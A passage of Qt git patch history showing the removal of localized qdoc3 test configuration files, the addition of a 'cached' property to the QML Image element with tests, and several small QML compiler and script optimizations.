$QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/declarative/pics \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html -tagfile = $QTDIR/doc/html/qt.tags -base = file:$QTDIR/doc/html - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt_ja_JP.qdocconf b/tools/qdoc3/test/qt_ja_JP.qdocconf deleted file mode 100644 index 32bba06..0000000 --- a/tools/qdoc3/test/qt_ja_JP.qdocconf +++ /dev/null @@ -1,118 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates_ja_JP.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt リファレンスドキュメント -url = http://qt.nokia.com/doc/ja_JP/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = ja - -indexes = $QTDIR/doc/html/qt.index - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.471 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.title = Qt -qhp.Qt.indexTitle = Qt -qhp.Qt.selectors = fake:example - -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc ja_JP -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -language = Cpp - -sourcedirs = $QTDIR/doc/src/ja_JP - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/zh_CN \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples/ja_JP \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - $QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/ja_JP/images \ - $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html_ja_JP -tagfile = $QTDIR/doc/html_ja_JP/qt.tags -base = file:$QTDIR/doc/html_ja_JP - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt_zh_CN.qdocconf b/tools/qdoc3/test/qt_zh_CN.qdocconf deleted file mode 100644 index 40d3d5a..0000000 --- a/tools/qdoc3/test/qt_zh_CN.qdocconf +++ /dev/null @@ -1,116 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates_zh_CN.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/zh_CN/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = zh-Hans - -indexes = $QTDIR/doc/html/qt.index - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.471 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.title = 教程 -qhp.Qt.indexTitle = 教程 -qhp.Qt.selectors = fake:example - -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc zh_CN -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -language = Cpp - -sourcedirs = $QTDIR/doc/src/zh_CN - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/ja_JP \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - $QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html_zh_CN -tagfile = $QTDIR/doc/html_zh_CN/qt.tags -base = file:$QTDIR/doc/html_zh_CN - -HTML.generatemacrefs = "true" -- cgit v0.12 From af60542fc4214cc716ffb1bdc46e2e7f6b5a6b8a Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Fri, 12 Nov 2010 13:02:58 +1000 Subject: Add 'cached' property to Image element Setting cached to false is useful when dealing with large images, to make sure that they aren't cached at the expense of small 'ui element' images. Task-number: QTBUG-7300 Reviewed-by: Aaron Kennedy --- .../photoviewer/PhotoViewerCore/PhotoDelegate.qml | 4 +-- .../graphicsitems/qdeclarativeborderimage.cpp | 14 +++++++++-- .../graphicsitems/qdeclarativeimage.cpp | 9 +++++++ .../graphicsitems/qdeclarativeimagebase.cpp | 25 ++++++++++++++++++- .../graphicsitems/qdeclarativeimagebase_p.h | 5 ++++ .../graphicsitems/qdeclarativeimagebase_p_p.h | 4 ++- src/declarative/util/qdeclarativepixmapcache.cpp | 22 ++++++++-------- src/declarative/util/qdeclarativepixmapcache_p.h | 12 +++++++-- .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 29 +++++++++++++++------- 9 files changed, 97 insertions(+), 27 deletions(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index 5948b5d..856a2c7 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -88,11 +88,11 @@ Package { } BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready } Image { - id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content) + id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cached: false fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Image { - id: hqImage; smooth: true; source: ""; visible: false + id: hqImage; smooth: true; source: ""; visible: false; cached: false fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Binding { diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 649c8fb..4e35f87 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -290,7 +290,12 @@ void QDeclarativeBorderImage::load() } } else { - d->pix.load(qmlEngine(this), d->url, d->async); + QDeclarativePixmap::Options options; + if (d->async) + options |= QDeclarativePixmap::Asynchronous; + if (d->cached) + options |= QDeclarativePixmap::Cached; + d->pix.load(qmlEngine(this), d->url, options); if (d->pix.isLoading()) { d->pix.connectFinished(this, SLOT(requestFinished())); @@ -413,7 +418,12 @@ void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledIma d->sciurl = d->url.resolved(QUrl(sci.pixmapUrl())); - d->pix.load(qmlEngine(this), d->sciurl, d->async); + QDeclarativePixmap::Options options; + if (d->async) + options |= QDeclarativePixmap::Asynchronous; + if (d->cached) + options |= QDeclarativePixmap::Cached; + d->pix.load(qmlEngine(this), d->sciurl, options); if (d->pix.isLoading()) { static int thisRequestProgress = -1; diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index 3b08a9b..c9eb258 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -458,6 +458,15 @@ QRectF QDeclarativeImage::boundingRect() const are always loaded asynchonously. */ +/*! + \qmlproperty bool Image::cached + \since Quick 1.1 + + Specifies that the image should be cached. The default value is + true. Setting \a cached to false is useful when dealing with large images, + to make sure that they aren't cached at the expense of small 'ui element' images. +*/ + void QDeclarativeImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) { Q_D(QDeclarativeImage); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index c3bac2d..37b0734 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -128,6 +128,24 @@ QSize QDeclarativeImageBase::sourceSize() const return QSize(width != -1 ? width : implicitWidth(), height != -1 ? height : implicitHeight()); } +bool QDeclarativeImageBase::cached() const +{ + Q_D(const QDeclarativeImageBase); + return d->cached; +} + +void QDeclarativeImageBase::setCached(bool cached) +{ + Q_D(QDeclarativeImageBase); + if (d->cached == cached) + return; + + d->cached = cached; + emit cachedChanged(); + if (isComponentComplete()) + load(); +} + void QDeclarativeImageBase::load() { Q_D(QDeclarativeImageBase); @@ -143,7 +161,12 @@ void QDeclarativeImageBase::load() pixmapChange(); update(); } else { - d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), d->async); + QDeclarativePixmap::Options options; + if (d->async) + options |= QDeclarativePixmap::Asynchronous; + if (d->cached) + options |= QDeclarativePixmap::Cached; + d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), options); if (d->pix.isLoading()) { d->progress = 0.0; diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h index 68eb8d0..d25f7c3 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h @@ -58,6 +58,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) + Q_PROPERTY(bool cached READ cached WRITE setCached NOTIFY cachedChanged) // ### VERSIONING: Only in QtQuick 1.1 Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged) public: @@ -72,6 +73,9 @@ public: bool asynchronous() const; void setAsynchronous(bool); + bool cached() const; + void setCached(bool); + virtual void setSourceSize(const QSize&); QSize sourceSize() const; @@ -81,6 +85,7 @@ Q_SIGNALS: void statusChanged(QDeclarativeImageBase::Status); void progressChanged(qreal progress); void asynchronousChanged(); + void cachedChanged(); protected: virtual void load(); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h index 3d23ba9..a539649 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h @@ -70,7 +70,8 @@ public: : status(QDeclarativeImageBase::Null), progress(0.0), explicitSourceSize(false), - async(false) + async(false), + cached(true) { QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; } @@ -82,6 +83,7 @@ public: QSize sourcesize; bool explicitSourceSize : 1; bool async : 1; + bool cached : 1; }; QT_END_NAMESPACE diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index a07b1bb..5ef568f 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -959,20 +959,20 @@ QRect QDeclarativePixmap::rect() const void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url) { - load(engine, url, QSize(), false); + load(engine, url, QSize(), QDeclarativePixmap::Cached); } -void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, bool async) +void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDeclarativePixmap::Options options) { - load(engine, url, QSize(), async); + load(engine, url, QSize(), options); } void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &size) { - load(engine, url, size, false); + load(engine, url, size, QDeclarativePixmap::Cached); } -void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, bool async) +void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, QDeclarativePixmap::Options options) { if (d) { d->release(); d = 0; } @@ -982,19 +982,20 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QHash::Iterator iter = store->m_cache.find(key); if (iter == store->m_cache.end()) { - if (async) { + if (options & QDeclarativePixmap::Asynchronous) { // pixmaps can only be loaded synchronously if (url.scheme() == QLatin1String("image") && QDeclarativeEnginePrivate::get(engine)->getImageProviderType(url) == QDeclarativeImageProvider::Pixmap) { - async = false; + options &= ~QDeclarativePixmap::Asynchronous; } } - if (!async) { + if (!(options & QDeclarativePixmap::Asynchronous)) { bool ok = false; d = createPixmapDataSync(engine, url, requestSize, &ok); if (ok) { - d->addToCache(); + if (options & QDeclarativePixmap::Cached) + d->addToCache(); return; } if (d) // loadable, but encountered error while loading @@ -1007,7 +1008,8 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QDeclarativePixmapReader *reader = QDeclarativePixmapReader::instance(engine); d = new QDeclarativePixmapData(url, requestSize); - d->addToCache(); + if (options & QDeclarativePixmap::Cached) + d->addToCache(); d->reply = reader->getImage(d); } else { diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h index 2e83cc4..9e1016f 100644 --- a/src/declarative/util/qdeclarativepixmapcache_p.h +++ b/src/declarative/util/qdeclarativepixmapcache_p.h @@ -66,6 +66,12 @@ public: enum Status { Null, Ready, Error, Loading }; + enum Option { + Asynchronous = 0x00000001, + Cached = 0x00000002 + }; + Q_DECLARE_FLAGS(Options, Option) + bool isNull() const; bool isReady() const; bool isError() const; @@ -85,9 +91,9 @@ public: inline operator const QPixmap &() const; void load(QDeclarativeEngine *, const QUrl &); - void load(QDeclarativeEngine *, const QUrl &, bool); + void load(QDeclarativeEngine *, const QUrl &, QDeclarativePixmap::Options options); void load(QDeclarativeEngine *, const QUrl &, const QSize &); - void load(QDeclarativeEngine *, const QUrl &, const QSize &, bool); + void load(QDeclarativeEngine *, const QUrl &, const QSize &, QDeclarativePixmap::Options options); void clear(); void clear(QObject *); @@ -107,6 +113,8 @@ inline QDeclarativePixmap::operator const QPixmap &() const return pixmap(); } +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePixmap::Options) + QT_END_NAMESPACE QT_END_HEADER diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index bf779ad..3cee976 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -123,19 +123,21 @@ void tst_qdeclarativeimage::imageSource_data() QTest::addColumn("height"); QTest::addColumn("remote"); QTest::addColumn("async"); + QTest::addColumn("cached"); QTest::addColumn("error"); - QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << ""; - QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << ""; + QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << true << ""; + QTest::newRow("local no cache") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << false << ""; + QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << true << ""; QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << 0.0 << 0.0 << false - << false << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString(); + << false << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString(); QTest::newRow("local async not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() << 0.0 << 0.0 << false - << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString(); - QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << ""; - QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << ""; - QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << ""; + << true << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString(); + QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << true << ""; + QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << false << ""; + QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << false << ""; QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << 0.0 << 0.0 << true - << false << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found"; + << false << true << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found"; } @@ -146,6 +148,7 @@ void tst_qdeclarativeimage::imageSource() QFETCH(double, height); QFETCH(bool, remote); QFETCH(bool, async); + QFETCH(bool, cached); QFETCH(QString, error); TestHTTPServer server(SERVER_PORT); @@ -159,7 +162,8 @@ void tst_qdeclarativeimage::imageSource() QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; asynchronous: " - + (async ? QLatin1String("true") : QLatin1String("false")) + " }"; + + (async ? QLatin1String("true") : QLatin1String("false")) + "; cached: " + + (cached ? QLatin1String("true") : QLatin1String("false")) + " }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); @@ -167,6 +171,13 @@ void tst_qdeclarativeimage::imageSource() if (async) QVERIFY(obj->asynchronous() == true); + else + QVERIFY(obj->asynchronous() == false); + + if (cached) + QVERIFY(obj->cached() == true); + else + QVERIFY(obj->cached() == false); if (remote || async) QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading); -- cgit v0.12 From f809dc1b16d6a56c1a2d57997748bddb313f7f4c Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 12 Nov 2010 13:44:06 +1000 Subject: Small optimization of enum detection in script. Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativetypenamescriptclass.cpp | 5 ++--- src/script/bridge/qscriptdeclarativeclass.cpp | 8 ++++++++ src/script/bridge/qscriptdeclarativeclass_p.h | 1 + 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp index cba7b4a..e93aae2 100644 --- a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp +++ b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp @@ -109,9 +109,8 @@ QDeclarativeTypeNameScriptClass::queryProperty(Object *obj, const Identifier &na } else if (data->type) { - QString strName = toString(name); - - if (strName.at(0).isUpper()) { + if (startsWithUpper(name)) { + QString strName = toString(name); // Must be an enum if (data->mode == IncludeEnums) { // ### Optimize diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp index 8080b9f..92248a0 100644 --- a/src/script/bridge/qscriptdeclarativeclass.cpp +++ b/src/script/bridge/qscriptdeclarativeclass.cpp @@ -468,6 +468,14 @@ QString QScriptDeclarativeClass::toString(const Identifier &identifier) return QString((QChar *)r->data(), r->size()); } +bool QScriptDeclarativeClass::startsWithUpper(const Identifier &identifier) +{ + JSC::UString::Rep *r = (JSC::UString::Rep *)identifier; + if (r->size() < 1) + return false; + return QChar::category(r->data()[0]) == QChar::Letter_Uppercase; +} + quint32 QScriptDeclarativeClass::toArrayIndex(const Identifier &identifier, bool *ok) { JSC::UString::Rep *r = (JSC::UString::Rep *)identifier; diff --git a/src/script/bridge/qscriptdeclarativeclass_p.h b/src/script/bridge/qscriptdeclarativeclass_p.h index 420b133..fe38eeb 100644 --- a/src/script/bridge/qscriptdeclarativeclass_p.h +++ b/src/script/bridge/qscriptdeclarativeclass_p.h @@ -126,6 +126,7 @@ public: PersistentIdentifier createPersistentIdentifier(const Identifier &); QString toString(const Identifier &); + bool startsWithUpper(const Identifier &); quint32 toArrayIndex(const Identifier &, bool *ok); virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &, -- cgit v0.12 From f2cd51abd592a4da45892e42f0d38803e7c1620e Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 16 Nov 2010 10:15:05 +1000 Subject: Treat easing.type: Easing.InOutQuad as a literal assignment, not binding This was already being done for most enum assignments, but wasn't being done for value types. This patch extends the optimization for enums in a value type. Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativecompiler.cpp | 34 ++++++++++++++++++++-------- 1 file changed, 25 insertions(+), 9 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index b2740b8..b371f52 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -1836,14 +1836,22 @@ bool QDeclarativeCompiler::buildValueTypeProperty(QObject *type, COMPILE_EXCEPTION(prop, tr("Unexpected object assignment")); } else if (value->value.isScript()) { // ### Check for writability - BindingReference reference; - reference.expression = value->value; - reference.property = prop; - reference.value = value; - reference.bindingContext = ctxt; - reference.bindingContext.owner++; - addBindingReference(reference); - value->type = Value::PropertyBinding; + + //optimization for . enum assignments + bool isEnumAssignment = false; + COMPILE_CHECK(testQualifiedEnumAssignment(p, obj, value, &isEnumAssignment)); + if (isEnumAssignment) { + value->type = Value::Literal; + } else { + BindingReference reference; + reference.expression = value->value; + reference.property = prop; + reference.value = value; + reference.bindingContext = ctxt; + reference.bindingContext.owner++; + addBindingReference(reference); + value->type = Value::PropertyBinding; + } } else { COMPILE_CHECK(testLiteralAssignment(p, value)); value->type = Value::Literal; @@ -2138,7 +2146,15 @@ bool QDeclarativeCompiler::testQualifiedEnumAssignment(const QMetaProperty &prop QDeclarativeType *type = 0; unit->imports().resolveType(typeName.toUtf8(), &type, 0, 0, 0, 0); - if (!type || obj->typeName != type->qmlTypeName()) + //handle enums on value types (where obj->typeName is empty) + QByteArray objTypeName = obj->typeName; + if (objTypeName.isEmpty()) { + QDeclarativeType *objType = toQmlType(obj); + if (objType) + objTypeName = objType->qmlTypeName(); + } + + if (!type || objTypeName != type->qmlTypeName()) return true; QString enumValue = parts.at(1); -- cgit v0.12 From 463786121871c7b0934949f4fcb8ef8b4d64712f Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 16 Nov 2010 15:44:11 +1000 Subject: Optimize string->color conversion in QML. Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativestringconverters.cpp | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativestringconverters.cpp b/src/declarative/qml/qdeclarativestringconverters.cpp index 7534a2c..55fae87 100644 --- a/src/declarative/qml/qdeclarativestringconverters.cpp +++ b/src/declarative/qml/qdeclarativestringconverters.cpp @@ -136,7 +136,7 @@ QVariant QDeclarativeStringConverters::variantFromString(const QString &s, int p QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok) { - if (s.startsWith(QLatin1Char('#')) && s.length() == 9) { + if (s.length() == 9 && s.startsWith(QLatin1Char('#'))) { uchar a = fromHex(s, 1); uchar r = fromHex(s, 3); uchar g = fromHex(s, 5); @@ -144,9 +144,7 @@ QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok) if (ok) *ok = true; return QColor(r, g, b, a); } else { - QColor rv; - if (s.startsWith(QLatin1Char('#')) || QColor::colorNames().contains(s.toLower())) - rv = QColor(s); + QColor rv(s); if (ok) *ok = rv.isValid(); return rv; } -- cgit v0.12 From e8e28735046d419463e235a58a7c4c88d04163db Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 16 Nov 2010 15:46:39 +1000 Subject: Optimize test for sharable bindings. Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativecompiler.cpp | 7 ++----- src/declarative/qml/qdeclarativerewrite.cpp | 13 +++++++++++-- src/declarative/qml/qdeclarativerewrite_p.h | 3 ++- 3 files changed, 15 insertions(+), 8 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index b371f52..3e63bb1 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2800,13 +2800,10 @@ bool QDeclarativeCompiler::completeComponentBuild() // Pre-rewrite the expression QString expression = binding.expression.asScript(); - // ### Optimize - QDeclarativeRewrite::SharedBindingTester sharableTest; - bool isSharable = sharableTest.isSharable(expression); - QDeclarativeRewrite::RewriteBinding rewriteBinding; rewriteBinding.setName('$'+binding.property->name); - expression = rewriteBinding(expression); + bool isSharable = false; + expression = rewriteBinding(expression,0,&isSharable); quint32 length = expression.length(); quint32 pc; diff --git a/src/declarative/qml/qdeclarativerewrite.cpp b/src/declarative/qml/qdeclarativerewrite.cpp index 